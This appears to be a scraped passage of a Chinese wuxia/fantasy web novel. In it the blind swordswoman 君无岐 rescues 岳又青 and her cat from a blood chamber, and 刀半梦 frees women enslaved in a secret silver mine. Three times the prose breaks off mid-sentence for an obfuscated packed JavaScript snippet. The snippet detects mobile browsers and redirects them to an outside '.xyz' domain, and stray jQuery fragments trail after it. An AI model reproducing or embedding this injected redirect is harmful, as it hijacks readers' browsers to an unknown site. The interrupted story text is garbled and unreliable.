“爆炸?”陆元飞没想到她会问这个,正犹豫着一见她眉峰挑起,顿时全抖擞了出来,“是元和那边,好像在捣鼓什么东西爆炸了吧——”
他一句话还未结束,君无岐扭头就走。
“等等,君……”他想喊她又临出口时咽了回去,“你做什么?那边很危险!”
刀半梦刀出半截,拦在他面前。
“别来碍事。”她冷冷道,“你知道被人看见会带来多大的麻烦吧?”
陆元飞咽了咽,嗓音干涩,眼睛却越过她的肩膀去追君无岐,“让开。”
嚓!
刀半梦刀尖顶在他咽喉前,警告道,“我之前就想杀你,但被你那死了的爹逮住了……若你执意上前,我也不介意多点麻烦,在这里砍了你。”
陆元飞这才正眼看她。
“原来是你。”他恍然,“你是为了谷菱儿来杀我的……哦,是因为她们长得很像吧?你们是什么关系?”
“与你无关。”
刀半梦收刀去追君无岐。
陆元飞站在原地,静静看着她们离开。
他眼中闪烁着微妙的光。
“……外族人?”
两人的背影渐渐消失,他低声念着什么,忽然耳边传来一道声音。
“你刚刚,在叫谁?”
。
君无岐心急如焚。
但她毕竟没有召南指路、眼中也只能看得到活物,行动非常不便。刀半梦从后面追上她,一把握住她手臂,“小心!”
君无岐仰着头,“还有多远?”
刀半梦喘着气,“马上就到了,再过一小段路……你在看什么?”
斗笠下,君无岐的表情有一丝仓皇。
“没有……什么都没有。”她喃喃,“我什么……都没看到。”
刀半梦正想说你一个瞎子看不到不是很正常,忽然又想起她那双特别的眼睛。若她看不到任何人的魂火,那岂不是意味着……所有人都死了?
她一下子也急了,在君无岐肩膀上一按,道声,“我先去看看!”
人就没影了。
陆元和的小院里一片狼藉。
荷池里的水流得干净,徒留满池污泥,还有东倒西歪的荷叶,可怜的夜行灯们都惊醒了,仓皇失措地在半空中乱晃,院中的凉亭也倒了,纱帐烧了一半,剩下一半惨兮兮地沾满尘土,地上到处都是残砖碎瓦,但万幸,没有尸体。
刀半梦纵身跃到一块没塌的院墙上,极目往里看,烟雾还未完全散去,隐约能看到朦胧中有个在动的东西……不,那是个人!
这时君无岐刚追上来,与她的目光不约而同落到一处。
“那里……有火。”
“追!”
远远看去,那人头戴高冠,身着长裙,犹如一团火在山林中跳跃。刀半梦一边急着要追上他询问岳又青下落,一边又要顾忌着君无岐的情况,额头上都见了汗。君无岐即使再着急,也知道自己拖累了刀半梦速度,当机立断道,“你去追,我想别的法子!”
刀半梦刚想问你有什么法子,就见她从袖中捞出一把铜钱,念念有词几句,扬手一抛!
她很想在这里把君无岐的法子看完,但眼见那人都已经缩小成了一个点,她便再顾不上这边,径直去追。君无岐回忆着岳又青生辰八字,口中默念,丢出最后一枚铜钱。
金灿灿的铜钱在地上滚了几圈,最终落在阵中某个位置。
“嗯?”君无岐恍然,“居然是这个方向……”
刚才太慌失了分寸,居然没想到用借星阵,现如今既然确定了岳又青还活着,她就恢复了冷静。借着阵她又算了算召南的位置,两人都在一处,便略略放了下心。
只是位置很奇怪。
“这……看起来倒像是在山中啊。”
她蓦然想起刀半梦之前说过,陆德辉在山腹中辟出一间密室,不知道用来做什么勾当,还提到了一个词,“血聚之法”。
联想起陆元飞年纪轻轻便有如此修为,她隐隐明白,这个血聚之法究竟是用来干什么的了。
她循着星阵指示的方向向前走去,临了没忘把铜钱都拾起来一并带好。这条路上并没有什么人,她走得很顺利,来到一座山崖之上,竹杖再往前探,是空的。
按照方位看,岳又青应当就在下面。
可是要怎么下去呢?
没有人告诉她地形如何,她只能自己判断。
她捡起颗石子,往下一丢。
没有任何声音传回。
路不在这边?
君无岐略有些焦躁,她拿着锏左右探探,忽然发现有块石头的声音不太一样。
难道说这里有机关?
可寻找机关对一个盲人来说也太难了。她沉思片刻,最后决定用最简单粗暴的办法——轰出条路来。
只需要足够的五雷符就行。
她慢慢从袖子中掏出一沓
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984211|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
符纸。
轰!
接连不断的爆炸和惊响已经撼动不了众人疲惫的心了,备受惊吓的客人们聚在正堂前,都是来与陆行辉辞行的,陆行辉安抚了这个安抚不了那个,只觉得焦头烂额,眼前无光。
好好一场群贤会,怎么就变成了这个样子!
“师父,要不还是让他们走吧。”他身边一个徒弟怯弱道,“那个鬼影还没找到,保不齐就是藏在这些人里面……”
“胡说!”陆行辉斥道,随即小声道,“你傻啊,人多了他才不敢出来,人都走光了,他不更好下手?”
徒弟眨着眼睛,“但咱们这段时间已经够乱了,也没多少人能伺候他们,万一后面他们不满意再乱说咱们坏话……”
“什么话!”陆行辉皱着眉,“都是有头有脸的人,怎么会……嗯?你是谁的弟子,我怎么好像没见过你?”
眼前徒弟的面孔烟雾般扭曲。
“被你发现了。”它轻轻说。
陆行辉尚未反应过来发生了何事,忽觉腹中一凉,紧接着便见那鬼影收刀,竟然像真正的鬼那样当场消失了!
一蓬鲜血从他腹中炸出,飞溅在砖石地上,这时堂中众人才惊觉不对,一窝蜂地上前来搀他。
“是鬼,是鬼!”一个年龄较小的弟子惊恐喊了起来,“我亲眼看到他消失了,一定是鬼!”
二十年前的鬼影杀人案谁也没经历过,最近虽然接连死了四个人,但都发生在无人深夜,众目睽睽下这还是头一次。人群顿时骚乱起来,甚至都顾不上还倒着的陆行辉,纷纷往外面涌去。
“哪里来的鬼!”外面有人大声叱骂。
一人提着个东西大步进来,是陆元飞。他随手把那玩意往地上一扔,竟然是个软趴趴的纸人。他环顾堂内,没声好气道,“不过是个被人以奇术驱动的纸人,竟也吓得各路豪杰如此慌张么?”
众人讪讪。但还有人不服,高声道,“你说的轻巧,那是对你们这些奇术师来说的,我们不过一介江湖中人,如何识得这种手段?”
陆元飞抬眼来看。
“这可不是我逮到的。”他轻哼,“是这位公子一剑斩落了它。”
他背后缓缓步出一个年轻人来。
这人身量颇高,姿态矫健从容,穿一件黑衣,腰间悬着两把剑,殊为奇异,“陆公子过誉,只是顺手而已。”
几人面面相觑,不知道这是谁。
倒是陆行辉这时已经草草包扎了伤口,勉力支撑着站起来,惊愕道,“你是……无锋门修玉公子?”
此人来历成谜,只知道是无锋门门主座下高徒,十年前在百武集上除了君子剑之外就数他最为亮眼,最大的特征就是腰上挂两把剑……只是他怎么会突然来这里?
樊修玉目光向下淡淡一扫,“陆庄主受伤看起来有些严重,还是先去修养为好。”
“我不要紧。”陆行辉站直了身体,只是不等有什么动作,又脸色煞白地往后一倒,“呃……我没……”
“二叔,别逞能了,快去疗伤吧。”陆元飞颇为不赞同,“这鬼影杀人一事我来查。”
叔侄两人目光交汇,一触即分,陆行辉垂下眼皮。
“那就拜托你了。”
他虚弱道,原地慢慢躺下,身旁两个弟子急忙去喊大夫。
樊修玉静静看着这一幕,忽然眉尖一拧。
“那琉璃壁后面。”他说,“原来就没有水吗?”
57. 观音颅(十六)
山崖旁果然有条密道。
君无岐摸索着一点点往下走。
就是不知道哪里来的水声,不过这水声在头顶上,没一会就听不见了。她没有多想,顺着石阶一路向下,身侧夜行灯次第自动亮起,微微晃动着,在墙上拉出一道变换不定的影子。
君无岐闻到了淡淡的血腥味。
很难闻,是一种已经腐败后的腥臭。
她听到有很细碎的声响从底下发出,像是某种小动物,也像是……生机奄奄的人。
她险些踏空。
不行,这时候不能自乱阵脚,万一真的发生了什么事,只有她能救她们……只有她!
"你究竟要干什么!"岳又青愤怒的声音遥遥传来,“我是偃门少主,我娘还有我姐不会放过……唔!”
“你的姐姐?”
君无岐听到一个淡淡的男声。
“正巧,我等的就是她。”
她感觉自己浑身的血液都在往上涌。
是的,就是这个声音,她在无数个夜晚想起的、恨到要咬碎牙齿的声音。那是郦玉成!
狂怒的火焰从肺腑升起,那一瞬间她几乎以为自己已经失聪——后来才意识到那是轰然炸响的耳鸣。石阶上她的脚步声很轻,轻到基本没有声响,像是在踏着血。她又看到很多年前的那一幕,郦玉成站在高高的台阶上,轻飘飘地劝着某个人,“心心复心心,结爱务在深。”一边朝地面上跪着的她投来一瞥,其中没有任何含义,如同拂过一颗石子,一粒泥土。
他放走刀半梦,就是为了告诉她,他在这里,他等着她来。
这是挑衅,毫无疑问。
君无岐听到自己骨节的喀拉声,那是太过用力发出的声音。
他就在下面,等着她。
她的鞋底触及到了平地。
密道尽头,满墙铁器血迹斑斑,刻满狰狞穷奇的铜柱中央有一汪血池,后面短须中年男人露出微笑。
“你来了。”他紧紧盯着她,“郦红。”
君无岐讨厌这个名字。
在她出生不久后的短暂岁月里,这个充满敷衍和轻视意味的名字像诅咒一般扣紧了她,就像一个环,或者囚笼,把她死死拖在那间破败的小院里。姓是一个人的来处,但她并不认为那里是,只是他们想让她这么以为而已。她仅仅只来自于母亲的子宫。
她往前迈出一步。
“无岐”才是她的归所。
岳又青缩在角落里,看到她的时候几乎要飙泪,“无岐姐姐!别过来,他想杀了你!”
召南在另一边喵嗷嗷地助阵。
“我以为这是我们心照不宣的事了。”郦玉成微笑,“我们都迫不及待地想杀死对方。”
有一丝微妙的怪异从心头滑过。
君无岐定了定神,问,“你想怎么样?”
“不想怎么样。”郦玉成大笑,“我以为你见我的第一面会直接出剑呢,看来这个小姑娘和小猫对你很重要,是不是?”
他面上泛起一丝恶意的笑容。
“那就选吧,让哪一个活。”
滴答。
不知道哪里来的水从天花板上滴落,恰恰落在血池中,很小一声。
溅起的水珠还没落下,君无岐已经出手!
长锏飞扬起一道白色剑气,轰然扫过密室石壁,刻下足有手指深的刻痕。咣当一声,关着岳又青的铁笼翻倒,她抱着双腿蜷缩在里面,敏锐察觉笼门松动了一点。
另一边的召南轻轻,“喵。”
它慢慢试图伸出一只爪子。
“好剑法,怪道你有天生剑骨。”郦玉成拊掌,“只差一点机关就被触发了,真是可惜。”
左右两边关着猫和岳又青的笼子以铁索相连,设置了机关,只要一个笼子的门打开了,另一个就会瞬间弹出利刃,把中间关着的活物杀死。
郦玉成拉起铁索。
嚓一响,一截尖刀从缝隙中冒出,把岳又青吓了一跳。
“但你没按我的规矩来。”郦玉成阴沉沉道,“二选一,选谁好呢?”
召南短促地叫了声,又蓦然停止,密室里弥漫着令人不安的寂静。
君无岐以锏拄地,沉默不语。
“不选?”郦玉成的嘴角简直要飞起来,“那我就随便挑一个了——”
铿!
上一瞬君无岐人还在密室门口,下一息她已经到了郦玉成面前,长锏如电如光,霹雳般一闪已经顶到了他的喉咙上。巨大的冲击力把他整个人重重砸在石壁上,嘭咚巨响,几乎要碾断骨头。
君无岐一字一顿,“我、不、选。”
她手上用力,眼见他喉间皮肤凹陷,投出一片可怕的阴影,郦玉成垂目看她,扯着血肉嘶哑道,声音像是从地狱传来,“你不想……知道……你母亲……究竟为何……而死……么?”
咚!
郦玉成的领口被她一把抓住,连带着全身都被她一把掼在地上!可怕的骨裂声吱吱嘎嘎,可郦玉成好似完全感觉不到痛苦似的,一双眼珠直勾勾盯着她的脸。
“你还知道什么?”君无岐说话声低得可怕,“全都告诉我。”
郦玉成无法遏制地咳嗽几下,笑问她,“你想知道什么?”
他就好像……完全不在意生死一样。
那种怪异感再一次出现,可君无岐无暇顾及,全部的心神都已经被他刚才那句话牢牢抓住。她逼问道,“我母亲究竟是怎么离开的?”
郦玉成没有直接回答。
他好像是在看她,又好像是在看某个更遥远的虚空中的事物,目光空旷地掠过她肩膀,自脏器中挤出一点回音,“看看这里……你还不明白吗?”
“哦。”他声音骤然染上一丝笑意,“我忘记了,你看不见。”
君无岐侧脸线条绷紧。
“破红山庄很早开始就逐年没落了,”他忽然提起不相干的往事,“所以二十年前发生了一起迷雾重重的鬼影杀人案……陆家大少爷突然有了超出常人的天赋,你猜这是为什么?”
君无岐没有说话。
郦玉成也不在意她接不接话,只是继续说道,“三十多年前郦家还只是个江湖不入流的小家族,没过几年就出了个少年天才,你不觉得奇怪吗?你母亲总是在怀孕,可你从来没见过你两个姐妹外其他的兄弟姐妹,你就从来没有过疑惑吗?”
空荡荡的密室里只有他鬼魅般的声音回响。
“你就不好奇,明明都是一个父母的孩子,只有你们家过得如此凄凉?”
啪嗒。啪嗒。
石壁上滴下的水越来越多,几乎要汇聚成一小洼。这些水带着湿淋淋的腥咸气味,不怎么好闻。
君无岐终于开口。
“你不是郦玉成。”她说,“你是谁?”
“你发现了。”“郦玉成”快活道,“当然,我也很希望你发现,但现在不是时候。我们还有一场架没打呢。”
又有一滴水滴落。
可还不等它坠到地面,已被人率先斩成两段!
是“郦玉成”。
他袖中藏了两把匕首,滑出袖口一截,若不是君无岐反应快,只怕这一下会生生切开她半张脸。她疾步倒退,长锏抬起,乓乓铛铛间两人已经来回过了好几招,“郦玉成”顺势起身,掩嘴咳嗽几声。
“我早就想这么做了。”他刀锋后露出一双沉郁的眼,“来!”
君无岐一言不发,欺身上前!
岳又青和召南只敢在笼子里缩成一小团,一动不敢动
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990086|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
狭小的密室里火光四溅。
“你不是郦玉成,那真正的郦玉成在哪里?”暴怒的君无岐锏锏朝着致命处,半空中泼出一道又一道淡白弧光,“你又——为什么会来这里?!”
“郦玉成”连连后退,狂风暴雨中仍有闲心淡笑,“自然是为了你啊。”
铛!
一锏重重劈落,将匕首上砸出个缺口,崩碎的铁渣四处飞射,擦伤“郦玉成”的脸。他面色不改,踏踏踏倒退数步,卸去锏上巨力,一翻一转,人已经到了血池边。
“郦家也有个类似的地方,你知道吗?”
他似乎是在有意激怒君无岐,所有话都在快准狠地往她心窝子上戳,“你们差一点就会死在那里,多亏了……”
他话没能说完。
因为君无岐飞跃到他面前,锏身漆黑如夜,照着他的脖子就抽了过去!
完全下了死手。
“郦玉成”只躲过了一半,锏的一条棱敲在他肩膀上,剧痛令他险些维持不住笑容,但他还未放弃,咬牙也要接着说。
“你曾经受过的那些苦,都是没有意义的。”
他低声说。
轰!
长锏将他掀飞了出去!
“郦玉成”被砸在墙边,肋骨断裂,唇边溢出丝缕不绝的鲜血,看着她哑声道。
“那些人还站在你们的眼泪上,试图榨干你们的每一滴血……”
啪嚓!
不知哪里的石壁断开,从墙上源源不断地流下水来,转眼间就没过鞋底。原本一直没吭声的岳又青急道,“无岐姐姐,召南,召南!”
君无岐一声不吭。
“杀了我吧。”“郦玉成”轻轻说,“这是你最好的机会了。”
水流声越来越急。
召南试图从笼子里蹦起来,但光滑的栏杆上实在没什么能落脚的地方,只能任由水渐渐淹到它腹部。它轮流抬起爪子,高声道,“别管我,杀了他!”
空气里升起腥咸的气味。
“不。”君无岐忽然说,“你不值得。”
她转身直奔召南!
“郦玉成”长长叹了口气,好像很可惜。
岳又青着急道,“别动那里,那是门锁!”
她还没忘记那个一生一死的设定。
“不必担心。”“郦玉成”淡淡道,“那是我骗你们的,哪有那么精妙的东西。”
他费力地撑着墙,试图站起来。
其他两人一猫都没有理会他的意思,他也没再说话,只是神情复杂地看了她们一眼,慢慢走了出去。
君无岐没有信他说的话。
她怼着笼子栏杆,生生拉开一道足以召南钻出来的缝隙,浑身湿淋淋的猫瞬间就挤出来,忙不迭爬到她身上,“又青,快救又青!”
水快涨到岳又青的膝盖了。
君无岐用锏卡住栏杆,手臂肌肉绷紧鼓起,咔——
岳又青拼尽全身力气,从打开的缝隙中挤过,头发都散了,“我们快走!”
她抓起君无岐衣袖,趟着水往外跑。
石室中回荡起石块落下的隆隆声响。
“这里要塌了!”召南叫道,“快!”
令人牙酸的吱嘎声不绝于耳,水流上涨的速度愈来愈快,岳又青指引着君无岐艰难躲开石堆,顺着石阶向上,一缕光芒从缝隙中透出来,她好像看到了希望。
“马上就能出去了。”她抓着君无岐手腕的力道加大,“我看到光了!”
两人一猫一刻不停,腿几乎要抡出火星,终于赶在巨石彻底把通道堵死之前,冲了出去!
外面天光洒落。
“终于出来了!”岳又青热泪盈眶,“我差点还以为要死在里面!”
58. 观音颅(十七)
刀半梦追着那人一路向着山里去。
她来山庄得仓促,也不曾观察过附近地形,如今越追越感到心惊。从山庄里出来,到山谷深处,居然还有一条有人长年累月走出来的小路!
这是在做什么?有什么不能见人的东西,要放在山深处?
那穿着长裙的人好像很熟悉这里,行走间毫不犹豫,即使衣着繁琐也迅疾如风。刀半梦追着他一路到了山谷里,远远的,看到谷地有一片矮矮的建筑。
那人身影一闪,不知去了哪里,不见了。
刀半梦小心地靠近那里。
“真是倒霉,被师父派来干这种苦差事,一点本事都学不到,还白白浪费时间。”一个穿着弟子服的男人抱怨道,“都是群女人,能惹出什么事?”
“别说这些了,总比住在山庄里莫名其妙死了强。”另一人说,“我可听说了,二十年前杀人的那个鬼影又出现了,现在山庄里可乱,连庄主都死了!哪比得上咱们这,又清净,又自在,还有这么多女人消遣?”
“这倒是。”一开始说话那人哼道,“说起来前日新来了个,身段真是不错,就是性子忒烈,还得好好磨磨。”
“瞧你,哪个新来的没被你磋磨?”另一人笑道,“说起来她被你关了也有两天了,你不去瞧瞧?”
“哦,你不说我都忘了,别再死了。”那人混不在意,“那就没乐子玩了,还是得去看看。”
两人交谈间完全没把山谷中的女人当人。刀半梦听得心头火起,自己还没意识到刀就出了鞘。她猫似的一跃而下,一刀抹了其中一个的脖子,鲜血四溅,泼了她半张脸。她随手一抹,刀架到另外那个颈间,语气阴森。
“这里到底是什么地方?”
那人已经吓傻了,下意识磕磕绊绊回答,“这里……这是月谷。”
刀半梦挑眉,黑白纹路被血染红,越发显得狰狞,“那些又是什么人?”
“那……那些是被改过脸的女人。”那人牙齿打颤,战战兢兢道,“少爷不喜她们,但又不能让她们出去,所以……所以就都把她们带到这里来。”
“那她们在这里做什么?”
刀半梦稍微抬了下头。不远处的建筑,不,可能说是草棚更加合适,一看就丝毫没有保暖和舒适性,住在里面完全就是折磨。墙是土夯的,就她所见就有几面垮塌,屋顶上都是稻草,只有薄薄一层,一旦下雨屋中必定漏水不止。
她看得心中难受,余光瞥到不远处有个女子出来,穿着薄薄一件麻衣,几乎成了半透明,肩上扛着什么,表情很是麻木。
那人嗫嚅着,好半晌才吭哧吭哧憋出几个字,“……挖矿。”
“什么?”刀半梦几乎要怀疑自己的耳朵,“你说什么?挖矿?”
那人好像现在才拾回自己作为人的礼义廉耻似的,脸庞涨红,“破红山庄会往外卖些奇术驱动的小玩意什么的,都要用银驱动……恰巧这里有条银矿……”
刀半梦这下明白了为何这里如此隐秘。
银受朝廷管控,私下里盗挖银矿罪名等同叛国,一旦被发现必死无疑,可不得藏着掖着。她又往山谷中看了一眼,接着问道,“可一条矿脉出产的银量应当也不少,为何山庄每年售出的奇器却只有那么一点?”
要不是因为这个,谁都没怀疑过他们银的来源。
那人支支吾吾半天,“这个……我也不知道……”
刀半梦没了耐心,越看越觉得他面目可憎,当即一刀结果了事。她草草处理了两具尸体,避开他人耳目,向更深处去。
那个红衣人既然引她来了此处,必然是知道其中内情的,只是不知道究竟想让她看到什么,目的又是为何?
谷中活动的女子不算多。
想来也是,若是大批量的掳来女子,必定也会吸引他人注意,还是“少量多次”更为保险。她们都像之前看到的那个一样,穿着薄薄的白麻衣,躯体若隐若现。刀半梦见到此种情形只觉得难过。她绕到草棚后面,注意到中心有座引人注目的二层楼。
那居然是个木制的房子。
虽然木头房子也算不得什么好居所,但在这里已经算的上顶好了。她左右看看,神不知鬼不觉地摸了过去。
楼下有人看守,只是松懈得和没有一样。刀半梦很一视同仁地把这人一并抹了脖子,拖到角落里一扔,顺着楼梯上楼。
楼上有些……不大能入耳的声音。
“你倒是知情知趣,比你的姐妹们懂事得多。”有个男音道,“让爷高兴了,说不定还能想些办法让你出去。”
“那奴家就先谢过爷。”女声柔媚道,紧接着就是一阵……的动静。
刀半梦皱紧了眉头。
倒不是什么扰人好事之类无谓的担心……而是她怕自己上了楼看到些画面会给自己留下阴影。
还在天人交战,忽听楼上有人短促地叫了一声。
很快、很短,不像是人在欢愉时的动静,后面紧跟着些不太妙的咕咕声……倒是与她抹了人脖子后听到的响动有点像。
她三步并作两步冲上楼。
二楼床上有人。
这她倒是不意外,但意外的是床边竟然还有第三个人!这是个上了点年纪的女人,同样是一身麻衣,神情与其说是平静不如说呆滞,脸颊上溅了些血。床上那男人还没死彻底,身体仍在抽搐,喉头插着块碎瓷片。一个年轻些的女人没穿衣服,坐在旁边,警醒地抬头看她。
“你是什么人?”她手臂微微颤抖,“山庄中的人吗?此事皆由我一手完成,和燕子姐姐毫无干系……”
“不是。”刀半梦用两个字铿锵有力地回答了她,“你杀的这人是谁?”
那女人上下打量着她。
半晌她似乎是信了,缓缓说道,“是管着山谷的人。”
她也不在意自己身上没有衣物,爬起来握着床边女人的手,低声说,“我叫香月,来此地已有月余,这帮披着人皮的畜生丝毫不把我们当做人,想打便打,想玩就玩,燕子姐姐就是这么疯掉的……我此前也听闻有人反抗过,但就算杀了这个也还会有新人来,想跑的也跑不出这深山,渐渐的大家也就都认了命……可我终究还是想试试……”
她哽咽道,“还请大侠看在同为女子的份上,帮帮我们这些人……”
还不等刀半梦回答,她旁边那女子忽然抬起手来,揩掉她的眼泪,呆呆道,“小月,别哭……”
香月慌忙在肩上蹭了一下,紧紧攥住她,“没事的,燕子姐姐,我没哭,我好着呢。”
燕子的眼珠慢慢向下移动,在她脸上打了个转,好像在确认,见她脸上没有水迹才缓慢点了下头,乖乖地,不说话了。
刀半梦心间酸楚,急忙换了个话题,“你可知这山谷中有几人把守?一共有多少女子在此处?”
“有多少姐妹我不清楚,但想来不少于五十。”香月思索道,“看守的人不多,主路上有两人,主管一人,还有两个副手,两个换班的。现在日头正好,那些人约莫都聚在一块打牌喝酒,姐妹们应当都在矿洞中。”
“既如此,我就先去解决看守。”刀半梦思忖道,“你去矿洞中通知其他人出来,注意安全。”
香月用力点点头。
刀半梦转身要走,忽然想起什么,又倒回来问她,“你有没有看到一个人来,戴着顶高帽子,穿红色长裙?”
香月正取了件衣服穿,闻言一愣,“这……我却不曾见过,待一会我问问姐妹们罢。”
刀半梦便也不再废话,下楼去了。
她循着香月说的地方,一路潜行,果然在一间大屋中看到了几个人。这几人明明是在白日,却都喝得醉醉醺醺,一股子酒臭味熏得人直恶心。她翻窗进去,走到人跟前了都没一个反应过来,甚至有人以为她是下矿回来的人,讪笑着要来摸她的腿。
刀半梦一刀一个,流了半屋子血。
“真晦气。”她嘀咕,“不知道那边怎么样了?”
她随手拎来个还算干净的,拿他脸擦掉靴子上血迹,一脚踹开大门出去。外面还是静悄悄的,只有一个人站在对面屋檐下,背对着她。
高头冠,红长裙,满身珠玉,当当啷啷。
“你把他们都杀了?”那人回过头来,语笑晏晏,“真厉害。”
竟然是个年岁不大的小姑娘。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14994993|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
倘若君无岐在这里,必定会发现这居然是童桐!
她戴着一顶傩面,穿着巫裙,头顶支棱出两根兽牙,狰狞张狂,与她本人气质颇为格格不入。刀半梦有些警惕,刀出半鞘,问道,“你是谁,你想干什么?”
童桐歪头打量她。
“我叫童桐。”她说,“就是个会点巫术的普通人。至于说我想干什么嘛……这还不够明显吗?”
“这山谷里有你认识的人?”刀半梦道,“你想救她们出去?”
远处传来吱吱声,一只小猴子跑过来,一把扑进她怀里。童桐摸了摸毛毛的脑袋,笑起来。
“可以这么说,只是我想救的那个人已经不在啦。”她轻声道,“当然,还有点别的目的,不过这不方便告诉你。”
刀半梦蓦然想起一种可能。
“你是故意引开我的?陆元和院子里那场爆炸是你们搞的?你的同伙要在山庄做什么?”她惊疑道,“你们奔着谁?陆德辉是你杀的?”
“你比我想的要聪明一点嘛。”童桐点头,“不过陆德辉不是我们杀的,杀他的另有其人。看在你帮忙杀了看守的份上,我可以告诉你,你现在赶回去也没用了哦。”
她话音刚落,忽然地面震动一下。
“看来那边大戏要开场了。”童桐背着手,看向远方山腰,“你要不要留下来,也一并看看呢?”
刀半梦满腹疑窦,不过她知道确实现在回去已是无用,干脆多问几句,“你们要干什么?”
“你不觉得这世界上其实很多东西都不该存在吗?”童桐摸着毛毛的头,“这个山谷,那座山庄……还有她们受过的苦。”
刀半梦咂摸出了点其他意味。
“你们要毁掉整座山庄?”她又惊又疑,“但这山庄如此之大,你们要用什么……等等,你们偷了藏金阁的东西?是炸弹?”
“咦?你知道得倒不少。”童桐惊奇道,“的确。我们本想放火来着,可还是炸弹更好用啊。”
刀半梦沉沉呼出口气。
“原来如此。”她道,“看来你们的仇恨不小。”
童桐慢慢向前走了几步。
“那是自然。”她说,“你想必已经知道这里是做什么的了。那你想知道,多余的那些白银都去哪了吗?”
刀半梦侧头看她。
“愿闻其详。”
“私铸的银两很容易被发现,可番邦来的就不一定了。”童桐冷冷道,“他们把这些银子运到西域,借着摩尼教的手,洗成光明正大的钱。否则你以为陆元飞那些奢靡之举都是用什么撑起来的?”
刀半梦愕然。
“这……简直就是叛国!”她怒不可遏,“姓陆的当年也是大国师之徒,怎么生出这么些猪狗不如的后代!”
童桐扫她一眼。
“陆松和也不是什么好人。他当年选在此处建立破红山庄,根本不是守护师尊遗骨,是为了方便锁住她,利用她当年杀死的那只穷奇,融合妖兽之血,以获得力量。”
“什么?”
“当年我娘还未离家的时候曾告诉我,我们一家居留于此,是为了守墓。”童桐闭了闭眼,“我当时还不知晓到底是守谁的墓,直到偶然间我进了大国师的陵寝……”
这刀半梦倒是知道,只是她没想到和君无岐同行的居然就是眼前这个小姑娘。她上下打量她,问道,“那你又是怎么知道这些事的?”
童桐睁眼。
“当然是因为我遇到了志同道合之人。”她微笑,“我们将一同毁灭这里,但在此之前,还得劳烦你把这些人带走。”
她指的是月谷中那些女人。
刀半梦嚓一下拔刀,指着她喉咙。
“你这是何意?”她眯起眼,“利用我?”
“我只是觉得和君姐姐在一起的人应当有颗慈悲之心。”童桐眼一眨不眨地看着她,“你有吗?”
两人对峙片刻,最终刀半梦败下阵来,悻悻收刀。
“你赢了。”她没声好气,咬牙切齿,“都怪那姓君的……”
童桐笑。
“来吧。”她狡黠道,“该我们合作了。”
59. 观音颅(十八)
时间倒回两刻钟前。
正堂里拥挤混乱不堪,好像个大菜市场。陆行辉因为受伤已被扶去治了,陆元飞又有些镇不住场子。他正焦头烂额,却见樊修玉慢慢踱着步子,来到那面琉璃壁前。
“樊兄!你看什么呢!”他好不容易安抚下情绪激动的众人,擦着额头到他身边,“你喜欢这琉璃?我那还有,送你几块?”
樊修玉不带任何感情地睇他一眼。
“令尊已归道山,却不知为何你们不报朝廷?”
陆元飞神情一变。
“这……他走得实在不好看。”他勉强道,“况且人已入灵堂,何必再让仵作之流来侮辱他老人家的尸身呢?”
樊修玉似乎只是随口问问,不置可否。
他伸手一抹琉璃壁。
“好深的抓痕。”
“想来必然是附近山林里的野兽,不知受了什么刺激,跑到我山庄中来伤人,真是可恨。”陆元飞说话时偷偷觑他,“改日我必将它们都一网打尽,以解心头之恨。”
樊修玉不紧不慢道,“可这印子这么大,当真是普通野兽能抓出来的?”
“这你有所不知。”陆元飞连忙道,“这附近水草丰美,十分盈养生灵,普通一头鹿都长得比人还高,生出个大老虎豹子之类,也不算奇怪吧。”
樊修玉侧过脸端详他。
“不过那割去头颅的必定是人。”说到这里时陆元飞终于现出了些愤怒,“不知到底是谁,与我山庄竟有如此深仇大恨,竟这般……”
他低下头,肩头微微颤抖。
“陆兄可是不舒服?”樊修玉道,“是否需要去休息片刻?”
“不、不,不用。”陆元飞急忙拉住他,他脸色煞白,鬓边渗出豆大汗珠,“我缓缓……缓缓就好……”
但看他模样,怎么也不像没事的样子。
樊修玉没有过多劝解,慢慢在琉璃壁前转了一圈。
他见陆元飞仍未有好转,反而有愈演愈烈的趋势,这才道,“陆兄,要不还是带你去医馆看看?”
“那就……劳烦……樊兄。”陆元飞哆嗦着,连嘴唇都开始泛白,“带我回……院子,就好。”
他垂着眼,双手紧紧攥成拳,一行一动都好似很艰难。樊修玉架起他,闻到一股淡淡的气味。
很像是……野兽皮毛浸水后,那种湿漉漉的腥气。
他若有所思。
两人慢慢走出厅堂,没看到身后琉璃壁的另一侧,爬出两人一猫。
“终于出来了!”岳又青浑身狼狈,喘着粗气,“我还、我还以为要死在里面!”
君无岐没比她好到哪去,拧着衣摆上的水,心痛不已,“我就这几件衣裳,废一件少一件……”
